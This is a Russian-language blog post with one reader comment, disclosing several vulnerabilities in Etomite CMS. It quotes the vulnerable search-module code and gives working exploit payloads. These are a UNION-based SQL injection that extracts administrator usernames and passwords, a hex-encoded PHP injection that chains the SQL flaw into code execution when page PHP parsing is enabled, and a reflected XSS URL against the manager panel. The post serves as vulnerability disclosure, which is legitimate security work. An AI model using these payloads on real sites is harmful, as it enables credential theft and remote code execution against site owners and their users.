Множественные уязвимости Etomite CMS

4 комментария

Сегодня понадобилось ковырнуть эту CMS.

Оффсайт цмски www.etomite.org

Немного кривой код написанный, типа, на ООП. Но логика — бред. По сути вся цмска запихнута в один файл index.php в виде одного класа. Вообщем полный бред. Судя по коду авторы что то слышали насчет безопасности, но судя по всему всего лишь краем уха. Так как было найдено:

  • SQL injection — нет зависимостей от настроек
  • Выполнение PHP кода — необходима специфичная настройка параметров CMS
  • XSS — нет зависимостей

Ну и вероятно это не предел, так как найдя эти уязвимости я остановился.

Далее описание уязвимостей, уязвимый код, и пример эксплуатации.

SQL injection

Вообщем классическая иньекция в модуле поиска (уязвимый код хранится в БД в виде модуля):

//...
if(isset($_POST['search']) && $_POST['search']!='') {
   $search = explode(" ", $_POST['search']);
   $sql = "SELECT id, pagetitle, parent, description FROM ".$etomite->db.site_content." WHERE (content LIKE '%".$search[0]."%'";
   //...
}

Как видно, переменная search попадает в запрос без какой либо фильтрации. Эксплойт:

POST http://etomite/index.php?id=14
sub=Search&search=[SQL-inj]

Пример иньекции:

')AND(1=0)UNION(SELECT(1),2,3,CONCAT(username,0x3a,password))FROM`etomite`.`etomite_manager_users`)#

PHP eval

У данной цмс есть интересная функция. Заключается в том что цмс может выполнять код заключенный в теги «<?php» и «?>» на любой странице. Но особенность этой функции в том что анализ тегов происходит после полной генерации страницы. И если мы сможем изменить вывод страниц нужным нам образом (достаточно простейшей XSS) то мы сможем выполнять PHP код.

К сожалению, эта функция по дефолту отключена в админ панели.

Для примера возьмем предыдущую уязвимость и попробуем выполнить код:

POST http://etomite/index.php?id=14
sub=Search&search=')AND(1=0)UNION(SELECT(1),2,3,(0x3C3F70687020706870696E666F28293B203F3E))#

Где 0x3C3F70687020706870696E666F28293B203F3E — hex представление строки «<?php phpinfo(); ?>«. Т.е теперь вместо логина/пароля админа по-идее должа вывестись указанная строка, но(!) встроенный парсер цмски вместо вывода данной строки, выполнит ее как PHP код!

XSS

Ну и тут все совсем банально. Файл manager\includes\accesscontrol.inc.php, строка 84:


Эксплойт:

http://etomite/manager/?location="><>alert('Hacked BY InSys');</script>< z="XSS

  1. Андрей

    Etomite мертвый проект. Его форк MODx, давно отколовшийся, хорошо развивается и пережил уже полное переписывание кода. Использовать стоит его.

Добавить комментарий

Прочли запись? Понравилась? Не стесняйтесь, оставьте, пожалуйста, свой комментарий. Мне очень интересно, что вы думаете об этом. Кстати в комментарии вы можете задать мне любой вопрос. Я обязательно отвечу.

Вы можете оставить коментарий анонимно, для этого можно не указывать Имя и email. Все комментарии проходят модерацию, поэтому ваш комментарий появится не сразу.